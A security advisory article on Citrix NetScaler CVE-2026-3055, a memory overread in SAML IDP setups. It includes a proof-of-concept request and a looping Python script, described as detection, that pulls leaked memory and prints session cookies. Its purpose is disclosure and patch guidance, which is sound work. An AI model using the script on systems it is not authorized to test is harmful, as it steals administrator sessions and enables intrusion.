Critical Citrix NetScaler CVE‑2026‑3055: Exploit Details, Detection Script, and Patch Guidance

The article analyzes the critical CVE‑2026‑3055 Citrix NetScaler memory‑overread flaw, explains its SAML‑IDP trigger, shows real‑world exploitation, provides a Python detection script with usage steps, and recommends immediate patching of affected ADC/Gateway versions.

Black & White Path
Black & White Path
Black & White Path
Critical Citrix NetScaler CVE‑2026‑3055: Exploit Details, Detection Script, and Patch Guidance

Vulnerability overview

CVE‑2026‑3055 (CVSS 9.3) is a memory‑overread (CWE‑125) bug in Citrix NetScaler ADC/Gateway that manifests only when the appliance is configured as a SAML Identity Provider (SAML IDP). The flaw allows an unauthenticated remote attacker to read residual memory, potentially exposing session tokens, admin session IDs, and other sensitive data.

Affected versions

NetScaler ADC/Gateway 14.1 earlier than 14.1‑60.58 (fixed in 14.1‑66.59 and later)

NetScaler ADC/Gateway 13.1 earlier than 13.1‑62.23

NetScaler ADC FIPS / NDcPP earlier than 13.1‑37.262

Impact

When the vulnerable endpoint processes a crafted request, it reads uninitialized memory and returns the data Base64‑encoded in the NSC_TASS cookie. The leaked memory can contain previous HTTP request headers, internal cookies, and administrator session identifiers.

Detection

Search the NetScaler configuration for the string add authentication samlIdPProfile. Presence of this command strongly indicates the device is configured as a SAML IDP and therefore vulnerable.

Exploitation mechanics

The overread is triggered by the wctx query parameter. The appliance checks only for the parameter’s existence; it does not verify that a value or an ‘=’ sign follows, causing it to read dead memory.

Leaked data is delivered via the response header Set‑Cookie: NSC_TASS=…, where the value is a Base64‑encoded memory dump.

Minimal proof‑of‑concept request (for detection only): GET /wsfed/passive?wctx HTTP/1.1 When sent to /saml/login or /wsfed/passive, a vulnerable device responds with a 302 redirect and an NSC_TASS cookie containing Base64 memory. Repeating the request yields different memory blocks. Patched devices no longer include such data.

Detection script (Python)

import base64
import requests
import urllib3
urllib3.disable_warnings()
while True:
    try:
        resp = requests.get(
            "https://<your‑target‑IP-or‑domain>/wsfed/passive?wctx",
            verify=False,
            allow_redirects=False,
        )
        tass = resp.cookies.get('NSC_TASS', None)
        if tass is None:
            continue
        tassText = base64.b64decode(tass)
        memIdx = tassText.find(b'wctx=')
        if memIdx != -1:
            bled = tassText[memIdx+5:]
            cookiePos = bled.find(b'Cookie')
            if cookiePos != -1:
                print(bled[cookiePos:].decode('ascii', errors='ignore'))
    except Exception:
        pass

Usage steps

Replace <your‑target‑IP-or‑domain> with the NetScaler VIP you want to test.

Execute the script only on systems you are authorized to test.

If the decoded output contains strings such as "Cookie", "Header", or session identifiers, the appliance is leaking memory and is vulnerable.

Mitigation

Upgrade to the fixed builds listed above. Citrix cloud‑hosted instances receive the update automatically. The official Citrix security bulletin (article CTX696300) provides the patch download links and configuration‑check commands.

PythonsecurityCitrixCVE-2026-3055Memory OverreadNetScaler
Black & White Path
Written by

Black & White Path

We are the beacon of the cyber world, a stepping stone on the road to security.

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.